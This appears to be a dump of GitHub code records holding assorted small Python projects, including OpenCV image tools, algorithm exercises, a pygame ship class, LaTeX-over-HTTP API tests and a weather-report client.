Postprocess().tess_ocr(cropped, name)\n    q.put(final)\n\n\ndef extract(path):  # thread initiator\n    x = ElementExtraction()\n    img = path\n    img = Preprocess().to_3channels(cv2.imread(img))\n    front, back = x.extract(img, side_pad_factor=10, vertical_pad_factor=1)\n    patch = x.patch(front, back)\n    all_elements = Common().anchors(patch)\n    all_threads = []\n    deco = patch.copy()\n    for i in all_elements:  # 8 threads for 8 rois\n        name = Common().mapid(i)\n        if name == \"front\" or name == \"back\":\n            continue\n        t = threading.Thread(target=extractor, args=[name, patch, i])\n        t.start()\n        all_threads.append(t)\n        deco = Postprocess().write(i, deco)\n    for th in all_threads:\n        th.join()\n    cv2.imwrite(path, deco)  # we also write the decorated image with visible bounding boxes\n    return len(all_elements) - 2 #delete 2 since we do not consider front and back for direct ocr\n","repo_name":"kuzuri137/digital-id-auth","sub_path":"extracter.py","file_name":"extracter.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4032577544","text":"import numpy as np\nimport cv2\nimport random\nimport time\n\nsizeX = 700\nsizeY = 700\n\nimg = np.zeros((sizeX,sizeY),dtype=float)\n\nInIsampledPoints = 35\nval=1\n\nfor p in range(0,5):\n    sampledPoints = InIsampledPoints*val\n    val = val*2\n    print(sampledPoints)\n\n    sampVals = np.ndarray((sampledPoints+1, sampledPoints + 1))\n\n    for x in range(0,sampledPoints+1):\n        for y in range(0,sampledPoints+1):\n            if(x == sampledPoints):\n                sampVals[x,y] = sampVals[0,y]\n            elif(y == sampledPoints):\n                sampVals[x,y] = sampVals[x,0]\n            else:\n                sampVals[x,y] = random.random()\n\n\n    for i in range(0,sampledPoints):\n        for j in range(0,sampledPoints):\n            startY = (j*sizeY)//sampledPoints\n            endY = ((j+1)*sizeY)//sampledPoints\n            lengthY = endY-startY\n            for y in range(startY, endY):\n                a = (sampVals[i,j+1]*(y-startY)/lengthY + (1-(y-startY)/lengthY)*sampVals[i,j])\n                b = (sampVals[i+1,j+1]*(y-startY)/lengthY + (1-(y-startY)/lengthY)*sampVals[i+1,j])\n\n                startX = (i*sizeX)//sampledPoints\n                endX = ((i+1)*sizeX)//sampledPoints\n                lengthX = endX-startX\n                for x in range(startX, endX):\n                    img[x,y] = img[x,y] + ((1-(x-startX)/lengthX)*a + ((x-startX)/lengthX)*b)/val\n                    #print(img[x,y])\n\n\nmaxN=0\nfor x in range(0,sizeX):\n    for y in range(0,sizeY):\n        if (maxN<img[x,y]):\n            maxN = img[x,y]\n\nfor x in range(0,sizeX):\n    for y in range(0,sizeY):\n        img[x,y] = img[x,y]/maxN\n\ncv2.imshow(\"ss\", img)\ncv2.waitKey(0)","repo_name":"10Kaiser10/noise-generation","sub_path":"NoiseCode/fractalValueNoise.py","file_name":"fractalValueNoise.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20580168953","text":"import textwrap\n\n\ndef wrap(string, max_width):\n\n    string_size = len(string)\n    reminder = string_size % max_width\n    wrapped = [string[i*max_width:(i+1)*max_width]\n               for i in range(string_size//max_width)]\n\n    if reminder != 0:\n        wrapped = wrapped + [string[string_size - reminder:]]\n\n    wrapped = '\\n'.join(wrapped)\n\n    return wrapped\n\n\nif __name__ == '__main__':\n    string, max_width = input(), int(input())\n    result = wrap(string, max_width)\n    print(result)\n","repo_name":"Jeffresh/Daily-Python","sub_path":"HackerRank/strings/text_wrap.py","file_name":"text_wrap.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"28233641282","text":"#물웅덩이, 널빤지의 길이 \nN,L = map(int,input().split())\n\nlst = [list(map(int,input().split())) for _ in range(N)]\n\nlst.sort()\n# print(lst)\ncnt =0  \n\nfor pool in range(len(lst)) :\n    #웅덩이의 길이 \n    length = lst[pool][1]-lst[pool][0]\n    #마지막 웅덩이일 경우 \n    if pool == len(lst)-1 :\n        #index를 맞추기 위해 -1을 추가로 해주고 나눈 값을 더해준다 \n        cnt +=  (length-1)//L +1\n        break\n    #웅덩이 크기를 널빤지로 나눈 값이 맞아 떨어지지 않을 때 \n    if (length)% L  :\n        #널빤지가 어디까지 갔는지 확인할 tmp \n        tmp = L - ((length)% L)\n        #현재 웅덩이 마지막에서 tmp를 더한값만큼 웅덩이 증가 \n        now_corver = lst[pool][1] + tmp \n        # print(now_corver,'xx')\n        #다음 웅덩이 시작이 현재 웅덩이 시작값보다 작거나 같으면 \n        if lst[pool+1][0] <=now_corver : \n            #다음웅덩이 시작을 현재 널빤지 마지막 위치로 \n            lst[pool+1][0] = now_corver\n        cnt += (length)//L +1\n    # 만약 널빤지가 딱 맞는다면 길이를 널빤지 수로 나눈 값을 사용 \n    else : \n        cnt += (length)//L \n    # print(lst)\n\n\n\n# x= 0 \n# lst = []\n# for i in range(len(tmp_lst)) :\n#     if x == 1 :\n#         x = 0\n#         continue\n#     if i == len(tmp_lst)-1 :\n#         lst.append(tmp_lst[i])\n#         break\n#     if tmp_lst[i][1] +1 == tmp_lst[i+1][0] :\n#         new_lst = [tmp_lst[i][0],tmp_lst[i+1][1]]\n#         lst.append(new_lst)\n#         x = 1 \n#     else :\n#         lst.append(tmp_lst[i])\n\n# print(lst)\n\n\n\n# road = list(0 for _ in range(lst[-1][1]))\n\n# for x in lst : \n#     for _ in range(x[0],x[1]) :\n#         road[_] = 1\n# print(road)\n# cnt =0\n# tmp = -1\n# for i in range(len(road)) :\n#     if i<=tmp :\n#         continue\n#     if road[i] :\n#         for up in range(i,i+3) :\n#             road[up] = 0\n#         cnt += 1 \n#         tmp = up\n\nprint(cnt)\n","repo_name":"holawan/Problem-Solving","sub_path":"BAEKJOON/그리디/1911_흙길보수하기.py","file_name":"1911_흙길보수하기.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"25966011569","text":"#12917. 문자열 내림차순으로 배치하기\n#문제 링크 : https://school.programmers.co.kr/learn/courses/30/lessons/12917\n\n#내 풀이\n\ndef solution(s):\n    answer = ''\n    tmp=list(s)\n    tmp.sort(reverse=True)\n    answer=answer.join(tmp)\n    \n    return answer\n\n'''\n아스키 코드 값이 소문자가 더 크기 때문에 문자열을 리스트로 변경해서 sort를 사용했고\njoin으로 리스트를 문자열로 변경했다.\n'''","repo_name":"wwyyww/algorithm","sub_path":"Programmers/string/문자열 내림차순으로 배치하기.py","file_name":"문자열 내림차순으로 배치하기.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9161592473","text":"import cv2 as cv\nimport numpy as np\nimport time\nimport sys\nimport pickle\n\ndef nothing(x):\n    pass\n\nif __name__ == '__main__':\n    args = sys.argv\n\n    cv.namedWindow('hsv')\n    # create trackbars for color change\n    cv.createTrackbar('HL','hsv',0,179,nothing)\n    cv.createTrackbar('SL','hsv',0,255,nothing)\n    cv.createTrackbar('VL','hsv',0,255,nothing)\n    # create trackbars for color change\n    cv.createTrackbar('HH','hsv',0,179,nothing)\n    cv.createTrackbar('SH','hsv',0,255,nothing)\n    cv.createTrackbar('VH','hsv',0,255,nothing)\n\n    cv.setTrackbarPos('HL', 'hsv', 100)\n    cv.setTrackbarPos('HH', 'hsv', 120)\n    cv.setTrackbarPos('SL', 'hsv', 200)\n    cv.setTrackbarPos('SH', 'hsv', 255)\n    cv.setTrackbarPos('VL', 'hsv', 0)\n    cv.setTrackbarPos('VH', 'hsv', 255)\n\n    image_path = args[1]\n    frame = cv.imread(image_path)\n    gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n    hsv = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\n\n    target_names = [\"right\", \"left\", \"unknown\"]\n    pca = pickle.load(open(\"pca.sav\",\"rb\"))\n    clf = pickle.load(open(\"clf.sav\", \"rb\"))\n    font = cv.FONT_HERSHEY_SIMPLEX\n    hl = 100\n    hh = 120\n    vl = 0\n    vh = 255\n\n    while True:\n    #for i in range(255, 45, -30):\n        # H, S, V\n        sl = cv.getTrackbarPos('SL','hsv')\n        #hl = cv.getTrackbarPos('HL','hsv')\n        #vl = cv.getTrackbarPos('VL','hsv')\n        sh = cv.getTrackbarPos('SH','hsv')\n        #hh = cv.getTrackbarPos('HH','hsv')\n        #vh = cv.getTrackbarPos('VH','hsv')\n    \n        lower_blue = np.array([hl, sl, vl])\n        upper_blue = np.array([hh, sh, vh])\n        mask = cv.inRange(hsv, lower_blue, upper_blue)\n\n        cnts, _ = cv.findContours(mask,cv.RETR_EXTERNAL, cv.CHAIN_APPROX_NONE)\n        cnts_vector = []\n        cnts_position = []\n        \n\n        for i, cnt in enumerate(cnts):\n            x,y,w,h = cv.boundingRect(cnt)\n\n            gray_crop = gray[y:y+h,x:x+w]\n            gray_crop = cv.resize(gray_crop, (64, 64))\n        \n            flatten = gray_crop.flatten()\n            flatten_trans = pca.transform([flatten])\n            cnts_vector.append(flatten_trans[0])\n            cnts_position.append((x, y, w, h))\n    \n        result = frame.copy()\n        if len(cnts_vector) > 0:\n            pred = clf.predict_proba(cnts_vector)\n        \n            for i in range(len(pred)):\n                prob = pred[i]\n                index = prob.argmax()\n                if index == 2:\n                    continue\n\n                text = target_names[index]\n                x, y, w, h = cnts_position[i]\n                cv.putText(result, text, (x, y - 10), font, 1, (0, 0, 255), 2, cv.LINE_AA)\n                cv.rectangle(result, (x, y), (x + w, y + h), (255, 0,0 ), 2)\n       \n        res = np.hstack((hsv, cv.merge([mask, mask, mask]), result))\n        res = cv.resize(res, (1300, 500))\n        cv.imshow('hsv', res)\n        k = cv.waitKey(500)\n        if k == ord('q'):\n            print('Exit')\n            break\n    \ncv.destroyAllWindows()\n","repo_name":"GTMtremolo/traffic_classification_using_pca_and_mlp","sub_path":"mse_project.py","file_name":"mse_project.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"40740820432","text":"import datetime\nimport pytz\n\n# Set the timezone\ntz = pytz.timezone('US/Eastern')\n\n# Get the current time with the timezone set\ncurrent_time = datetime.datetime.now(tz)\n\n# Format the time and date outputs\nformatted_time = current_time.strftime('%-I:%M %p')\nformatted_date = current_time.strftime('%Y-%m-%d')\n\n# Print the formatted time and date with prefixes\nprint('TIME:', formatted_time)\nprint('DATE:', formatted_date)\n","repo_name":"Comicly69/pytools","sub_path":"codeparts/clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"926907988","text":"import sys\nimport os\nfrom skimage import img_as_float, img_as_ubyte\nsys.path.insert(0, os.path.join(os.getcwd(), \"utils/HybridDenoise\"))\nfrom ..HybridDenoise.hnr import HybridNoiseReduction\n\nhnr = HybridNoiseReduction()\ndef hybrid_denoise(rgb_noisy, \n        nr_method=\"median\", \n        nr_parm=7,\n        no_blend=False,\n        mask_level=-2,\n        blend_morph_kernel=1, \n        blend_alpha=0.5,\n        ):\n    \n    rgb_denoise, mask = hnr.run(img_as_float(rgb_noisy),\n                                nr_method=nr_method,\n                                nr_parm=nr_parm,\n                                no_blend=no_blend,\n                                mask_level=mask_level,\n                                blend_morph_kernel=blend_morph_kernel, \n                                blend_alpha=blend_alpha,\n                                )\n    \n    return img_as_ubyte(rgb_denoise)\n\n\nif __name__ == \"__main__\":\n    import imageio\n    import cv2\n    rgb_noisy = imageio.imread(\"/data/Test_Results/Face_Restoration/internal_test/night_samples/001_001.jpg\")\n    output_img = hybrid_denoise(rgb_noisy, \n                    nr_method=\"median\", \n                    nr_parm=7,\n                    no_blend=False,\n                    mask_level=-2,\n                    blend_morph_kernel=1, \n            )\n    imageio.imwrite(\"./test_img.jpg\", output_img)\n","repo_name":"PeterZs/TecoGAN-Pytorch","sub_path":"codes/utils/HybridDenoise/hybrid_denoise.py","file_name":"hybrid_denoise.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27084621238","text":"class Solution:\n    def func(self, list1, list2):\n        common = []\n        for ind, val in enumerate(list1):\n            if val in list2 and val not in common:\n                common.append(val)\n\n        return sorted(common)\n\n\ntmp = Solution()\nprint(tmp.func([1,2,3,4,5,6,7,8], [1,22,33,44,5,66,7,88]))\n","repo_name":"Arshin/algorithms","sub_path":"commonElementsArray.py","file_name":"commonElementsArray.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71899721424","text":"import cv2\nimport time\n\n\none_shot = 1\n\nlist_1_SEND = [0,0,0,0,0,0,0,0]\n\nlist_2_RCVD = [0,0,0,0,0,0,0,0]\n\n#list_1 = [0,0,0,0,0,0,0,0]\nlist_2_INIT  = [0,0,0,0,0,0,0,0]\n\ndef storeToOneFile(): \n\n    # Its important to use binary mode\n    #print(\"STORETOONE\")\n    OneFile = open('OneFile', 'w') \n    string_list_1_SEND = str(list_1_SEND)\n    # source, destination \n    OneFile.write(string_list_1_SEND)                   \n    OneFile.close()\n\ndef accessFromTwoFile():\n    TwoFile = open('TwoFile', 'r')\n    try:\n        string0 = TwoFile.read()\n        print('string0 = ',string0)\n        string0_stripped = string0[1:len(string0)-1] #strip [ and ]\n        string1 = string0_stripped\n        #print(string1)\n        string2 = string1.replace(\",\",\" \")\n        #print(string2)\n        listz = string2.split()#STRING INTO LIST OF SUBSTRINGS\n        print('listz = ',listz)\n        for j in range(8):\n           list_2_RCVD[j] = int(listz[j])\n           #list_2_RCVD[j] = list_2[j]\n        print('list_2 = ',list_2_RCVD)   \n        #print(listz[0]-1)\n    except:\n        print('READ ERROR')\n    TwoFile.close()\n\ndef init_TwoFile():\n    global list_2_RCVD\n    TwoFile = open('TwoFile', 'w') #w write   \n    for i in range(8):\n        list_2_INIT[i] = 0\n        list_2_RCVD[i] = 0\n        list_1_SEND[i] = 0\n    TwoFile.write(str(list_2_INIT))  \n    TwoFile.close() \n\ndef do_run():\n  while True:\n    global one_shot  \n    if (one_shot ==1):\n        init_TwoFile()\n        one_shot = 0    \n    print('list_2_RCVD =',list_2_RCVD)    \n    storeToOneFile()\n    for j in range(8):\n         list_1_SEND[j] = list_1_SEND[j] + 10\n         #list_1[j] = list_1_SEND[j]     \n    accessFromTwoFile() \n    time.sleep(.3)\n    if cv2.waitKey(1) == 27:  #esc key ends loop. now can hit X on stream window     \n                print('break')\n                #break\n\ndef main():\n    do_run()\n\nif __name__==\"__main__\":\n  main()\n\n\n","repo_name":"arshacker/ESP32-ROBOT-CAM-VIDEO-XBOX-CONTROLLER-OPENCV-SYSTEM","sub_path":"GFILE_1_C_15M.py","file_name":"GFILE_1_C_15M.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"}
{"seq_id":"25642958856","text":"from django.core.management.base import BaseCommand, CommandError\n\nfrom main import utils_event\nfrom main.models import Event, EventAction, OpenEvent\nfrom django.db import transaction\n\n# This file is part of https://github.com/cpina/science-cruise-data-management\n#\n# This project was programmed in a hurry without any prior Django experience,\n# while circumnavigating the Antarctic on the ACE expedition, without proper\n# Internet access, with 150 scientists using the system and doing at the same\n# cruise other data management and system administration tasks.\n#\n# Sadly there aren't unit tests and we didn't have time to refactor the code\n# during the cruise, which is really needed.\n#\n# Carles Pina (carles@pina.cat) and Jen Thomas (jenny_t152@yahoo.co.uk), 2016-2017.\n\nclass Command(BaseCommand):\n    help = 'Updates the table of open events. It should not be needed in normal operation'\n\n    @transaction.atomic()\n    def handle(self, *args, **options):\n        event_numbers = utils_event.open_event_numbers()\n        print(event_numbers)\n        OpenEvent.objects.all().delete()\n\n        for event_number in event_numbers:\n            open_event = OpenEvent(number=event_number)\n            open_event.save()\n","repo_name":"Swiss-Polar-Institute/science-cruise-data-management","sub_path":"ScienceCruiseDataManagement/main/management/commands/updateopenevents.py","file_name":"updateopenevents.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"36223129583","text":"from imageai.Detection import VideoObjectDetection\r\nimport os\r\nimport shutil\r\nimport cv2\r\n\r\n#hsv_img= cv2.cvtColor(img,cv2.COLOR_BGR2GRB)\r\nexecution_path = os.getcwd()\r\n\r\ncamera = cv2.VideoCapture(0)\r\n\r\ndetector = VideoObjectDetection()\r\ndetector.setModelTypeAsRetinaNet()\r\ndetector.setModelPath( os.path.join(execution_path , \"resnet50_coco_best_v2.0.1.h5\"))\r\ndetector.loadModel(detection_speed = 'fastest')\r\n\r\nvideo_path = detector.detectObjectsFromVideo(camera_input=camera,\r\n    output_file_path=os.path.join(execution_path, \"camera_detected_video\")\r\n    , frames_per_second=20, log_progress=True, minimum_percentage_probability=30)\r\n\r\nprint(video_path)\r\n#detections = detector.detectObjectsFromImage(input_image=os.path.join(execution_path , \"source_1.png\"), output_image_path=os.path.join(execution_path , \"imagenew.png\"))\r\n#print('bla bla')\r\n#print('detections:',detections)\r\n#print('detections 0:',detections[0])\r\n#print('type of detections:',detections.type())\r\n#print('size of detection:',detections.shape())\r\n#print('result:',eachObject)\r\n#cv2.waitKey(0)\r\n#cv2.destroyAllWindows() ","repo_name":"philongnghoang/face_detec_crop","sub_path":"ObjectDetection_video.py","file_name":"ObjectDetection_video.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1849467549","text":"import pygame\n\n\n# 飞船类\nclass Ship:\n    # screen传入为整个屏幕对象，目的是指出飞船的绘制地点\n    def __init__(self, screen, ai_setting, ships, mode=0):\n        \"\"\"初始化飞船并设置其初试位置\"\"\"\n        self.setting = ai_setting\n        self.screen = screen\n        self.image = pygame.image.load('images/ship.bmp')\n        # 返回一个rect对象，pygame以矩形为处理对象的的基本，如果一个图形不是矩形，则获得该图像的外接矩形\n        # 获得飞船图像的外接矩形\n        self.rect = self.image.get_rect()\n        # 获得屏幕的外接矩形\n        self.screen_rect = screen.get_rect()\n        # 操作者控制的飞船初化初始化\n        if not mode:\n            self.init_pos()\n        elif mode == 1:\n            self.init_icon_ship(ships)\n\n    def blitme(self):\n        \"\"\"绘制图像\"\"\"\n        # 在制定位置绘制图像\n        self.screen.blit(self.image, self.rect)\n\n    def update_pos(self):\n        \"\"\"处理连续按压\"\"\"\n        if self.continue_right and self.rect.right < self.screen_rect.right:\n            self.centerx += self.setting.ship_speed\n        elif self.continue_left and self.rect.left > 0:\n            self.centerx -= self.setting.ship_speed\n        elif self.continue_up and self.rect.top > 0:\n            self.centery -= self.setting.ship_speed\n        elif self.continue_down and self.rect.bottom < self.screen_rect.bottom:\n            self.centery += self.setting.ship_speed\n        #     更新\n        self.rect.center = (self.centerx, self.centery)\n\n    def init_pos(self):\n        \"\"\"初始化飞船的位置\"\"\"\n        self.rect.centerx = self.screen_rect.centerx\n        self.rect.bottom = self.screen_rect.bottom\n        # self.rect.centery = self.screen_rect.centery\n        # self.rect.center = self.screen_rect.center\n        # rect的center属性为图像的中心点坐标，为一个元组\n        # 同样centerx，centery属性为图像中心点的x,y轴的坐标\n        # print(type(self.rect.center))\n        # print(type(self.rect.centerx))\n        # print(type(self.rect.bottom))\n        # print(self.screen_rect.right)\n        # 控制键盘按键持续移动的变量\n        self.continue_right = False\n        self.continue_left = False\n        self.continue_up = False\n        self.continue_down = False\n        # 小数的方式更加精细的控制\n        self.centerx = float(self.rect.centerx)\n        self.centery = float(self.rect.centery)\n\n    def init_icon_ship(self, ships):\n        \"\"\"初始化ships显示的位置\"\"\"\n        ships_len = len(ships)\n        self.rect.left = ships_len * self.rect.width\n        self.rect.top = self.setting.ship_icon_top\n\n    @staticmethod\n    def init_ships_group(ships, screen, ai_setting):\n        \"\"\"初始化飞船组\"\"\"\n        while len(ships) < ai_setting.ship_allow_number:\n            ship = Ship(screen, ai_setting, ships, 1)\n            ship.init_icon_ship(ships)\n            ships.append(ship)\n\n    @staticmethod\n    def remove_ship(current_left, ships):\n        \"\"\"对ships飞船组里面的飞船进行移除\"\"\"\n        if len(ships) == current_left:\n            pass\n        else:\n            remove_number = len(ships) - current_left\n            while remove_number != 0:\n                if len(ships):\n                    ships.pop()\n                    remove_number -= 1\n\n\n\n\n","repo_name":"arkssss/alien_invasion","sub_path":"ship.py","file_name":"ship.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"15431820925","text":"import pytest\nimport pprint\nimport requests\nfrom .utils.pdf import snapshot_pdf\n\nLATEX_HELLO_WORLD = (\n    \"\\\\documentclass{article}\\n\\\\begin{document}\\nHello World\\n\\\\end{document}\"\n)\nSAMPLE_HELLO_WORLD = \"hello_world\"\n\nCOMPIL_UPLATEX_JAPANESE = \"% !TEX uplatex\\n\\\\documentclass[uplatex]{jsarticle}\\n\\n\\\\title{up\\\\LaTeX\\\\ 実験}\\n\\\\author{林蓮枝}\\n\\n\\\\begin{document}\\n\\n\\\\maketitle\\n\\n\\\\begin{abstract}\\n本稿では、文書組版システムup\\\\LaTeX{}の使い方を解説します。\\nup\\\\LaTeX{}を利用するときには、あらかじめ文章中に\\\\TeX{}コマンドと呼ばれる組版用の指示を混在させ\\\\ldots\\n\\\\end{abstract}\\n\\n\\\\section{導入}\\nこんにちは世界\\n\\n\\\\end{document}\"\nSAMPLE_HELLO_JAPANESE = \"hello_japanese\"\n\nLATEX_HELLO_WORLD_WITH_IMAGE = \"\\\\documentclass{article}\\n \\\\usepackage{graphicx}\\n \\\\begin{document}\\n Hello World\\n \\\\includegraphics[height=2cm,width=7cm,keepaspectratio=true]{logo.png}\\n \\\\end{document}\"\nSAMPLE_IMAGE_CONTENT = requests.get(\n    \"https://www.ytotech.com/images/ytotech_logo.png\"\n).content\n\nLATEX_MULTI_RESOURCES = \"\\\\documentclass{article}\\n \\\\usepackage{graphicx}\\n  \\\\begin{document}\\n Hello World\\\\\\\\\\n \\\\includegraphics[height=2cm,width=7cm,keepaspectratio=true]{logo.png}\\n \\\\include{page2}\\n \\\\end{document}\"\nLATEX_MULTI_RESOURCES_PAGE2 = \"VGhpcyBpcyB0aGUgc2Vjb25kIHBhZ2UsIHdoaWNoIHdhcyBwYXNzZWQgYXMgYSBiYXNlNjQgZW5jb2RlZCBmaWxl\"\n\n\ndef test_querystring_hello_world(latex_on_http_api_url):\n    \"\"\"\n    Compile a simple Latex document with querystring API by an encoded Latex document content.\n    \"\"\"\n    # Create a query string request.\n    r = requests.get(\n        latex_on_http_api_url + \"/builds/sync\",\n        params={\"content\": LATEX_HELLO_WORLD},\n    )\n    assert r.status_code == 201\n\n\ndef test_querystring_hello_world_compiler(latex_on_http_api_url):\n    \"\"\"\n    Compile a simple Latex document with querystring API by an encoded Latex document content,\n    and specifying the compiler.\n    \"\"\"\n    # Create a query string request.\n    r = requests.get(\n        latex_on_http_api_url + \"/builds/sync\",\n        params={\"content\": LATEX_HELLO_WORLD, \"compiler\": \"lualatex\"},\n    )\n    assert r.status_code == 201\n    snapshot_pdf(r.content, SAMPLE_HELLO_WORLD)\n\n\ndef test_querystring_hello_japanese(latex_on_http_api_url):\n    \"\"\"\n    Compile a japanese Latex document with querystring API by an encoded Latex document content,\n    and specifying the compiler.\n    \"\"\"\n    # Create a query string request.\n    r = requests.get(\n        latex_on_http_api_url + \"/builds/sync\",\n        params={\"content\": COMPIL_UPLATEX_JAPANESE, \"compiler\": \"uplatex\"},\n    )\n    assert r.status_code == 201\n\n\n# Add resources\n# &resource-path[]=logo.png&resource-value[]=https://www.ytotech.com/images/ytotech_logo.png\n\n\ndef test_querystring_full_spec_image(latex_on_http_api_url):\n    \"\"\"\n    Compile a Latex document containing another image resource with querystring API\n    by passing a complete resources specification and specifying the compiler.\n    \"\"\"\n    # Create a query string request.\n    r = requests.get(\n        latex_on_http_api_url + \"/builds/sync\",\n        params={\n            \"content\": LATEX_HELLO_WORLD_WITH_IMAGE,\n            \"compiler\": \"pdflatex\",\n            \"resource-path[]\": \"logo.png\",\n            \"resource-type[]\": \"url\",\n            \"resource-value[]\": \"https://www.ytotech.com/images/ytotech_logo.png\",\n        },\n    )\n    # import pprint\n\n    # pprint.pprint(r.json())\n    assert r.status_code == 201\n\n\ndef test_querystring_multi_resources(latex_on_http_api_url):\n    \"\"\"\n    Compile a Latex document containing multiple annex resources with querystring API,\n    by passing a complete resources specification and specifying the compiler.\n    \"\"\"\n    # Create a query string request.\n    r = requests.get(\n        latex_on_http_api_url + \"/builds/sync\",\n        params={\n            \"content\": LATEX_MULTI_RESOURCES,\n            \"compiler\": \"pdflatex\",\n            \"resource-path[]\": [\"logo.png\", \"page2.tex\"],\n            \"resource-type[]\": [\"url\", \"base64\"],\n            \"resource-value[]\": [\n                \"https://www.ytotech.com/images/ytotech_logo.png\",\n                LATEX_MULTI_RESOURCES_PAGE2,\n            ],\n        },\n    )\n    if r.status_code != 201:\n        pprint.pprint(r.text)\n        # pprint.pprint(r.json())\n    assert r.status_code == 201\n\n\n# TODO Specify output file name?\n","repo_name":"YtoTech/latex-on-http","sub_path":"tests/test_api_querystring.py","file_name":"test_api_querystring.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"47"}
{"seq_id":"73348386061","text":"from django.db import models\nfrom django.contrib.postgres.fields import ArrayField\n# Create your models here.\n\n\n     \n\nclass List(models.Model):\n        list_owner = models.CharField(max_length=30)\n        list_items = ArrayField(\n            ArrayField(\n                models.CharField(max_length=20, blank=True),\n                size=20,\n            ),\n            size=20\n        )\n\nlists = [\n    List(\"Ben Baker\",['apple','orange','chicken thighs','yogurt']),\n    List(\"Brenna Langille\", ['pickles','green cola','sausages','peppers'],\n    List(\"Devin Larsen\",['tempeh','grains','ointment','toothpaste']))\n]","repo_name":"bbakercello/WeFood","sub_path":"main_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26394404824","text":"import os, csv\n\n# rename the following to a directory of your choosing\nsrchpath = '../src'\n\n# the CSV header\ncatalog = [['Filename', 'pathname', 'size']]\n\n# walk directory tree\nfor root, dirs, files in os.walk(srchpath):\n    for file in files:\n        # process only .py files\n        if file.lower().endswith('py'):\n            pathname = os.path.join(root, file)\n            filesize = os.path.getsize(pathname)\n            catalog.append([ file, pathname, filesize])\n\n# create the clean catalog\nf = open('../data/clean_catalog.csv', 'wb')\ncsv.writer(f).writerows(catalog)\nf.close()\n","repo_name":"freephys/Beginning-Python-Visualization","sub_path":"Chapter04/src/create_catalog.py","file_name":"create_catalog.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"47"}
{"seq_id":"73280479822","text":"from typing import Optional\n\nimport requests\n\nfrom cp_6.env_configuration import settings\n\n\ndef main():\n    choice = input(\"[R]eport weather or [s]ee reports? [exit] to quit!\")\n\n    while choice != \"exit\":\n        if choice.lower().strip() == \"r\":\n            post_report()\n\n        elif choice.lower().strip() == \"s\":\n            get_report()\n\n        elif choice.lower() == \"exit\":\n            quit\n\n        else:\n            print(f\"{choice} not implemented yet!\")\n            choice = input(\"\\n[R]eport weather or [s]ee reports? [exit] to quit!\")\n\n\ndef post_report():\n    desc = input(\"O que você gostaria de reportar?\")\n    city = input(\"Em qual cidade está acontecendo?\")\n    data = dict(\n        description=desc,\n        location=dict(\n            city=city,\n        )\n    )\n    resp = __connector(action=\"post\", data=data)\n    resp.raise_for_status()\n    result = resp.json()\n    print(f\"Novo evento reportado: {result.get('id')}\")\n\n\ndef get_report():\n    resp = __connector(action='get')\n    resp.raise_for_status()\n\n    data = resp.json()\n    for r in data:\n        print(f\"{r.get('location').get('city')} has {r.get('description')}\")\n\n\ndef __connector(action: str, data: Optional[dict] = None):\n    url = settings.url\n    endpoint = '/api/reports'\n    url = {url} + endpoint\n    if action == \"post\":\n        return requests.post(url, json=data)\n    elif action == \"get\":\n        return requests.get(url)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"mabittar/fastapi_curse","sub_path":"cp_6/bin/reportapp.py","file_name":"reportapp.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"43187631045","text":"from collections import defaultdict\nimport sys\n\nsys.setrecursionlimit(10**6)\n\nN, X, Y = (int(x) for x in input().split())\ng = defaultdict(list)\nfor _ in range(N-1):\n  u, v = (int(x)-1 for x in input().split())\n  g[u].append(v)\n  g[v].append(u)\n\nprev = [-1] * N\ndef dfs(node, dest, path=[], parent=-1):\n  prev[node] = parent\n  if node == dest:\n    return\n\n  for nb in g[node]:\n    if nb == parent:\n      continue\n\n    dfs(nb, dest, path, node)\n\ndfs(X-1, Y-1, [])\nans = [Y]\ncur = Y-1\nwhile cur != X-1:\n  cur = prev[cur]\n  ans.append(cur+1)\n\nprint(*ans[::-1])\n   ","repo_name":"hitochan777/kata","sub_path":"atcoder/abc270/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
